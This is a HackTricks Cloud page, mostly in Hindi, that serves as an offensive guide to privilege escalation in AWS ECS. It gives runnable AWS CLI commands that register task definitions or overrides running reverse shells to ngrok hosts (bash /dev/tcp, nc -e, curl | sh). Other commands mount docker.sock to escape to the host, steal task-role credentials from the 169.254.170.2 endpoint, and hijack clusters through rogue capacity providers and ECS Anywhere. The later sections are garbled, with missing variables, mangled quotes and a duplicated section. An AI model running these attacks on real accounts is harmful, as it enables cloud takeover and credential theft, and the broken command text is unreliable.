AWS - ECS Privesc
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
ECS
ECS के बारे में अधिक जानकारी:
iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask
ECS में iam:PassRole, ecs:RegisterTaskDefinition और ecs:RunTask permission का दुरुपयोग करने वाला attacker generate a new task definition कर सकता है जिसमें एक malicious container होता है जो metadata credentials चुरा लेता है और उसे run it कर सकता है।
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potential Impact: अलग ECS role में सीधा privesc।
iam:PassRole,ecs:RunTask
ऐसा हमलावर जिसके पास iam:PassRole और ecs:RunTask permissions हैं, modified execution role, task role और container के command मानों के साथ एक नया ECS task शुरू कर सकता है। ecs run-task CLI कमांड में --overrides flag होता है जो runtime पर executionRoleArn, taskRoleArn और container के command को task definition को छुए बिना बदलने की अनुमति देता है।
निर्दिष्ट IAM roles taskRoleArn और executionRoleArn के लिए उनकी trust policy में ecs-tasks.amazonaws.com द्वारा assume किए जाने की अनुमति/विश्वास होना चाहिए।
इसके अलावा, हमलावर को निम्न जानकारियाँ चाहिए:
- ECS cluster name
- VPC Subnet
- Security group (यदि कोई Security group निर्दिष्ट नहीं है तो default वाला उपयोग होगा)
- Task Definition Name and revision
- Name of the Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
ऊपर दिए गए कोड स्निपेट में attacker केवल taskRoleArn मान को ओवरराइड करता है। हालांकि, इस हमले के होने के लिये attacker के पास कमांड में निर्दिष्ट taskRoleArn और task definition में निर्दिष्ट executionRoleArn दोनों पर iam:PassRole अनुमति होनी चाहिए।
यदि attacker द्वारा पास की जा सकने वाली IAM role के पास ECR image को pull करने और ECS task शुरू करने के लिये पर्याप्त privileges हैं (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken), तो attacker ecs run-task कमांड में executionRoleArn और taskRoleArn दोनों के लिये वही IAM role निर्दिष्ट कर सकता है।
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Potential Impact: किसी भी ECS task role पर सीधे privesc।
iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask
पिछले उदाहरण की तरह, ECS में iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask permissions का दुरुपयोग करने वाला attacker एक नई task definition जेनरेट कर सकता है जिसमें एक malicious container होगा जो metadata credentials चुरा ले और उसे रन करे।\
हालाँकि, इस मामले में, malicious task definition को चलाने के लिए किसी container instance की आवश्यकता होगी।
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potential Impact: किसी भी ECS role पर सीधे privesc।
iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)
पिछले उदाहरण की तरह, एक हमलावर जो ECS में iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService या ecs:CreateService permissions का दुरुपयोग करता है, वह एक नया task definition generate कर सकता है जिसमें एक malicious container होता है जो metadata credentials चुरा लेता है और इसे कम से कम 1 task चलाकर एक नया service बनाकर run किया जा सकता है।
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
संभावित प्रभाव: किसी भी ECS role में सीधे privesc।
iam:PassRole, (ecs:UpdateService|ecs:CreateService)
दरअसल, केवल उन permissions के साथ overrides का उपयोग करके arbitrary commands को किसी container में arbitrary role के साथ execute कराना संभव है, कुछ इस तरह:
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
Potential Impact: किसी भी ECS role पर सीधा privesc।
ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
यह परिदृश्य पिछले वाले जैसा है लेकिन iam:PassRole अनुमति के बिना।
यह अभी भी दिलचस्प है क्योंकि यदि आप किसी arbitrary container को चला सकते हैं, भले ही उसके पास role न हो, आप run a privileged container to escape करके node तक पहुँचकर steal the EC2 IAM role और node पर चल रहे the other ECS containers roles चोरी कर सकते हैं।
आप यहाँ तक कि उस EC2 instance जिसे आप compromise कर लेते हैं, उसके अंदर अन्य tasks को चलाने के लिए force other tasks to run inside the EC2 instance मजबूर कर सकते हैं ताकि उनके credentials चुराए जा सकें (जैसा कि Privesc to node section में चर्चा की गई है)।
Warning
यह attack केवल तभी संभव है अगर ECS cluster is using EC2 instances हों और Fargate नहीं।
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
एक attacker जिसके पास ecs:ExecuteCommand, ecs:DescribeTasks अनुमति हो, वह चल रहे कंटेनर के अंदर execute commands चला सकता है और उससे जुड़ा IAM role exfiltrate कर सकता है (describe permissions की आवश्यकता होती है क्योंकि aws ecs execute-command चलाने के लिए यह जरूरी है).
हालाँकि, ऐसा करने के लिए container instance पर ExecuteCommand agent चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता).
Therefore, the attacker cloud try to:
- Try to run a command हर चल रहे container में
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
एक बार जब आपके पास container के अंदर shell हो, तो आप आम तौर पर task credentials endpoint से task role credentials निकालकर उन्हें container के बाहर पुनः उपयोग कर सकते हैं:
# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq
# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY
- यदि उसके पास
ecs:RunTaskहै, तोaws ecs run-task --enable-execute-command [...]के साथ एक task चलाएँ - यदि उसके पास
ecs:StartTaskहै, तोaws ecs start-task --enable-execute-command [...]के साथ एक task चलाएँ - यदि उसके पास
ecs:CreateServiceहै, तोaws ecs create-service --enable-execute-command [...]के साथ एक service बनाएँ - यदि उसके पास
ecs:UpdateServiceहै, तोaws ecs update-service --enable-execute-command [...]के साथ एक service अपडेट करें
आप उन विकल्पों के उदाहरण previous ECS privesc sections में पा सकते हैं।
संभावित प्रभाव: containers से जुड़े किसी दूसरे role तक Privesc।
ssm:StartSession
देखें ssm privesc page कि आप इस अनुमति का दुरुपयोग कैसे करके privesc to ECS कर सकते हैं:
iam:PassRole, ec2:RunInstances
देखें ec2 privesc page कि आप इन permissions का दुरुपयोग कैसे करके privesc to ECS कर सकते हैं:
ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole
इन permissions वाले attacker अक्सर “cluster membership” को एक security boundary bypass में बदल सकते हैं:
- किसी attacker-controlled EC2 instance को victim ECS cluster में register करें (container instance बनते हुए)
- कस्टम container instance attributes सेट करें ताकि placement constraints पूरे हों
- ECS को उस host पर tasks schedule करने दें
- उस host पर चल रहे task से task role credentials (और container के अंदर मौजूद किसी भी secrets/data) चुरा लें
उच्च-स्तरीय workflow:
- लक्ष्य खाते में आपके नियंत्रण में मौजूद किसी EC2 instance से EC2 instance identity document + signature हासिल करें (उदाहरण के लिए SSM/SSH के माध्यम से):
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
- इसे लक्षित क्लस्टर में पंजीकृत करें, वैकल्पिक रूप से प्लेसमेंट प्रतिबंधों को पूरा करने के लिए विशेषताएँ सेट करते हुए:
aws ecs register-container-instance \
--cluster "$CLUSTER" \
--instance-identity-document file://iidoc.json \
--instance-identity-document-signature "$(cat iisig)" \
--attributes name=labtarget,value=hijack
- पुष्टि करें कि यह जुड़ा है:
aws ecs list-container-instances --cluster "$CLUSTER"
एक task शुरू करें / एक service अपडेट करें ताकि कुछ instance पर शेड्यूल हो, फिर task के अंदर से task role creds harvest करें:
# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Notes:
- Registering a container instance using the instance identity document/signature implies you have access to an EC2 instance in the target account (or have compromised one). For cross-account “bring your own EC2”, see the ECS Anywhere technique in this page.
- Placement constraints commonly rely on container instance attributes. Enumerate them via
ecs:DescribeServices,ecs:DescribeTaskDefinition, andecs:DescribeContainerInstancesto know which attributes you need to set.
ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets
Note
TODO: Test this
एक attacker जिसके पास permissions ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, और ecs:DescribeTaskSets हों, वह एक existing ECS service के लिए malicious task set बना सकता है और primary task set को update कर सकता है। इससे attacker को सेवा के भीतर arbitrary code execute करने की अनुमति मिलती है।
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Potential Impact: प्रभावित सेवा में मनमाना कोड निष्पादित करना, इसकी कार्यक्षमता को प्रभावित करना या संवेदनशील डेटा निकालना संभव।
संदर्भ
Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
ECS capacity providers और services को manage करने की permissions वाले हमलावर एक EC2 Auto Scaling Group बना सकते हैं जिसे वे नियंत्रित करते हैं, उसे एक ECS Capacity Provider में जोड़ सकते हैं, उसे लक्ष्य cluster से associate कर सकते हैं, और पीड़ित service को इस provider पर migrate कर सकते हैं। इसके बाद tasks हमलावर-नियंत्रित EC2 instances पर schedule होंगी, जिससे containers की जाँच करने और task role credentials चुराने के लिए OS-स्तरीय पहुँच मिल जाएगी।
Commands (us-east-1):
-
पूर्व-आवश्यकताएँ
-
Target cluster में शामिल होने के लिए ECS agent के लिए Launch Template बनाएं
-
Auto Scaling Group बनाएं
-
ASG से Capacity Provider बनाएं
-
Capacity Provider को cluster से जोड़ें (वैकल्पिक रूप से default के रूप में)
-
किसी service को अपने provider पर migrate करें
-
सुनिश्चित करें कि tasks हमलावर instances पर आ रही हैं
-
वैकल्पिक: EC2 node से, docker exec कर के target containers में जाएँ और task role credentials प्राप्त करने के लिए http://169.254.170.2 पढ़ें।
-
सफाई
Potential Impact: हमलावर-नियंत्रित EC2 nodes पीड़ित tasks प्राप्त करते हैं, जिससे containers तक OS-स्तरीय पहुँच और task IAM role credentials की चोरी संभव होती है।
Step-by-step commands (copy/paste)
export AWS_DEFAULT_REGION=us-east-1 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster # Instance profile for ECS nodes aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || trueVPC=vpc-18e6ac62 SUBNETS=
AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=
ASG_ARN=
CP_NAME=htcp-8797 aws ecs create-capacity-provider –name –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED” aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers –default-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment
TASK= CI= aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text
Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
ECS Anywhere का दुरुपयोग कर के हमलावर-नियंत्रित होस्ट को victim ECS cluster में एक EXTERNAL container instance के रूप में register किया जा सकता है और उस होस्ट पर privileged task और execution roles का उपयोग करते हुए tasks चलाए जा सकते हैं। इससे यह अनुमति मिलती है कि आप OS-स्तर पर नियंत्रित करें कि tasks कहाँ चलें (आपकी अपनी मशीन) और tasks तथा जुड़ी volumes से credentials/डेटा चोरी कर सकते हैं बिना capacity providers या ASGs को छुए।
-
आवश्यक अनुमति (न्यूनतम उदाहरण):
-
ecs:CreateCluster (वैकल्पिक), ecs:RegisterTaskDefinition, ecs:StartTask या ecs:RunTask
-
ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
-
iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (ECS Anywhere instance role और task/execution roles के लिए)
-
logs:CreateLogGroup/Stream, logs:PutLogEvents (यदि awslogs का उपयोग कर रहे हैं)
-
प्रभाव: हमलावर होस्ट पर चुने हुए taskRoleArn के साथ मनमाने कंटेनर चलाएँ; task-role credentials को 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI से निकालें; tasks द्वारा माउंट किए गए किसी भी volumes तक पहुँचें; capacity providers/ASGs बदलने की तुलना में यह अधिक stealthy है।
Steps
- क्लस्टर बनाएं/पहचानें (us-east-1)
aws ecs create-cluster --cluster-name ht-ecs-anywhere
- ECS Anywhere role और SSM activation बनाएँ (on-prem/EXTERNAL instance के लिए)
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
- हमलावर होस्ट प्रोविज़न करें और इसे स्वचालित रूप से EXTERNAL के रूप में रजिस्टर करें (उदाहरण: छोटे AL2 EC2 को “on‑prem” के रूप में)
user-data.sh
```bash #!/bin/bash set -euxo pipefail amazon-linux-extras enable docker || true yum install -y docker curl jq systemctl enable --now docker curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" chmod +x /root/ecs-anywhere-install.sh /root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 ```task def (EXTERNAL launch)
cat > td-external.json << ‘JSON’
{
“family”: “ht-external”,
“requiresCompatibilities”: [ “EXTERNAL” ],
“networkMode”: “bridge”,
“memory”: “256”,
“cpu”: “128”,
“executionRoleArn”: “arn:aws:iam::
–container-instances $CI
6) यहाँ से आप उस host को नियंत्रित करते हैं जो tasks चला रहा है। आप task logs (यदि awslogs) पढ़ सकते हैं या सीधे host पर exec करके अपने tasks से credentials/data को exfiltrate कर सकते हैं।
#### कमांड उदाहरण (प्लेसहोल्डर्स)
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials.
Commands (us-east-1):
- पूर्व-आवश्यकताएँ
- ECS agent को target cluster से जोड़ने के लिए Launch Template बनाएँ
- Auto Scaling Group बनाएँ
- ASG से Capacity Provider बनाएं
- Capacity Provider को cluster से associate करें (वैकल्पिक रूप से default के रूप में)
- किसी service को अपने provider पर migrate करें
- सुनिश्चित करें कि tasks attacker instances पर आ रहे हैं
- वैकल्पिक: EC2 node से target containers में docker exec करें और task role credentials प्राप्त करने के लिए http://169.254.170.2 पढ़ें।
- Cleanup
**संभावित प्रभाव:** Attacker-controlled EC2 nodes पर victim tasks पहुँचेंगे, जिससे containers तक OS-level access और task IAM role credentials की चोरी संभव हो जाएगी।
> [!TIP]
> सीखें और अभ्यास करें AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> सीखें और अभ्यास करें GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> सीखें और अभ्यास करें Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks का समर्थन करें</summary>
>
> - देखें [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **शामिल हों** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **हमें फ़ॉलो करें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **PRs सबमिट करके hacking tricks साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

